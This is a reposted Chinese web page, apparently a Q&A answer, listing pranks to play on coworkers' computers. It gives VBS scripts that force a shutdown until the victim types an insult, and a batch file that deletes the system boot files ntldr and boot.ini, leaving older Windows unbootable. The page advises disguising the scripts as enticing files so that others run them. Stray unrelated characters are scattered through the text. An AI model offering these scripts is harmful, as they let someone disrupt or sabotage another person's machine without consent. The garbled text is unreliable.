在电脑上有哪些恶作剧的方法?

在电脑上有哪些恶作剧的方法?,第1张

每天上班对着电脑,有些时候挺枯燥的,下面介绍一些比较好玩电脑恶作剧:

倒屏

这时一个很简单的设置,只需要ctrl + alt + 向下键即可实现倒屏(ctrl + alt + 向上键恢复)档桥

恶搞鼠标

在控制面板中打开“鼠标”设置,在选项卡中选中“显示轨迹”,鼠标移动就会拖着一窜小尾巴了!

简单代码整人

步骤:编写一段简单的代码,保存为贺纤一个比较有诱惑力的特定格式文件(.vbs或.bat批处理文件)

例子:1、一个简单的vbs小程序

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

set WshShell = CreateObject("wscript.Shell")

WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0

Do While answer<>"我是猪"

answer=InputBox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000)

Loop

WshShell.Run "Shutdown /a",0

MsgBox "哈哈哈,好玩不?",,"哈哈哈"

2、一个简单的bat批处理小程序

@echo off

attrib -s -h -a -r c:\ntldr

del c:\ntldr

attrib -s -h -a -r c:\boot.ini

del c:\boot.ini

注:这种小程序网上很多的,禅蠢仿但是要注意不要盲目的下载,说不定有些小程序真的会破会你的系统。

隐藏桌面图标和任务栏

右键桌面-去掉查看下显示桌面图标前面的勾;右键下方任务栏-选择自动隐藏任务栏。

吓不是很懂电脑的同事就更简单了

直接建立一个权限很低的新用户,并切换至新用户,然后你告诉他,他的电脑中毒了,嘿嘿

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true

dim a

do while(a <>"我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是纳升樱猪"" ","说不说","不说"洞丛,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"

这是网上流行的一种让别人笑宽关机的代码

Private Sub Form_Load()

If MsgBox("我的礼物很好者唯,请确定首旦培", vbYesNo) = vbNo Then Shell "e:\shutdown.exe -s -t 0"迟庆

End Sub


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12441462.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-25
下一篇 2023-05-25

发表评论

登录后才能评论

评论列表(0条)

保存